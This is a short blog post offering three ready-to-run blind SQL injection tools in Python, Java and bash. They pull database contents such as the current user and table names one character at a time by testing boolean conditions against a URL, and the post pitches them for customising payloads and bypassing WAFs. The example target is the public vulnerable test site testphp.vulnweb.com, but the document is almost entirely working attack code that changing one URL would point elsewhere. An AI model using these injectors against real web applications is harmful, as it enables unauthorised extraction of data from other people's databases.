Automated Blind SQL Injector
There are lots of tools available for blind injection but when it comes to customizing payloads and bypassing WAFs I thought of writing my own program to extract data based on the true and false boolean conditions.
This is the Python version: https://github.com/OsandaMalith/BSSQLi/blob/master/bssqli.py
import urllib2 import re # CC-BY: Osanda Malith Jayathissa (@OsandaMalith) # https://creativecommons.org/licenses/by/2.0/ url = 'http://testphp.vulnweb.com/artists.php?artist=2' # target payload = '(select user())'; # your payload trueString = 'Blad3' # Text or html in the true condition maxLength = 20 result = '' for i in range(1, maxLength + 1): for j in range(32, 127): if(chr(j).isupper()): continue sql = " and substring("+ payload +"," + str(i) + ",1)=" + hex(ord(chr(j))) + "-- -" target = url + sql req = urllib2.Request(target) # If cookies exists # req.add_header('Cookie','value=1;value=2') page = urllib2.urlopen(req) html = page.read() try: re.search(r'(.*)'+trueString+'(.*?) .*', html, flags=re.DOTALL).group(1) print ('Found: ' + chr(j)) result += chr(j) except: pass print (result)
This is the Java version I wrote. The URL and the length is hard coded. Enter the URL and compile, next run
java BSSQL 20 "select user()"
https://github.com/OsandaMalith/BSSQLi/blob/master/BSSQL.java
import java.net.*; import java.io.*; // CC-BY: Osanda Malith Jayathissa (@OsandaMalith) // https://creativecommons.org/licenses/by/2.0/ /* The URL and the true string is being hardcoded. After compiling run like this: java BSSQL 20 "select table_name from information_schema.tables where table_schema=database() limit 0,1" Result: artists Done! */ public class BSSQL { private static String url = "http://testphp.vulnweb.com/artists.php?artist=2"; // your payload private static String trueString = "Blad3"; // Text or html in the true condition private static String hex; private static char ch; public static void main(String[] args) throws Exception { int maxLength = 0; String payload = ""; if (args.length < 2) { System.err.println("Usage: " + BSSQL.class.getName() + " length " + "\"payload\""); System.exit(1); } try { maxLength = Integer.parseInt(args[0]); } catch (NumberFormatException e) { System.err.println("Argument" + args[0] + " must be an integer."); System.exit(1); } payload = args[1]; System.out.println("Result:"); for (int j = 1; j <= maxLength; j++) { for (int i = 32; i < 127; i++) { if (Character.isUpperCase((char) i)) { continue; } ch = (char) i; hex = String.format("0x%2x", (int) ch); String p = " and substring((" + payload + ")," + Integer.toString(j) + ",1)=" + hex + "-- -"; String host = url + p; URL target = new URL(host); URLConnection conn = target.openConnection(); // conn.setRequestProperty("Cookie", "name1=value1; name2=value2"); conn.connect(); BufferedReader in = new BufferedReader(new InputStreamReader( conn.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) { if (inputLine.contains(trueString)) { System.out.print(Character.toString((char) i)); break; } } in.close(); } } System.out.println("\nDone!"); } }
This is the bash version , it's faster than the above two. https://github.com/OsandaMalith/BSSQLi/blob/master/bssqli.sh
#!/bin/bash # CC-BY: Osanda Malith Jayathissa (@OsandaMalith) # https://creativecommons.org/licenses/by/2.0/ #./bssqli.sh 20 "select user()" export URL="http://testphp.vulnweb.com/artists.php?artist=2" export truestring="Blad3" export maxlength=$1 export result="" export query=$2 charset=`echo {0..9} {A..x} \. \: \, \- \_ \@` for ((j=1;j<$maxlength;j+=1)); do for i in $charset; do export str=`echo -n $i| od -A n -t x1 |sed 's/ //g'` export hex=0x$str curl -s "$URL and substring(($query),$j,1)=$hex-- -" | grep "$truestring" &> /dev/null if [ "$?" == "0" ] then echo Found: $i export result+=$i break fi done done echo Result: $result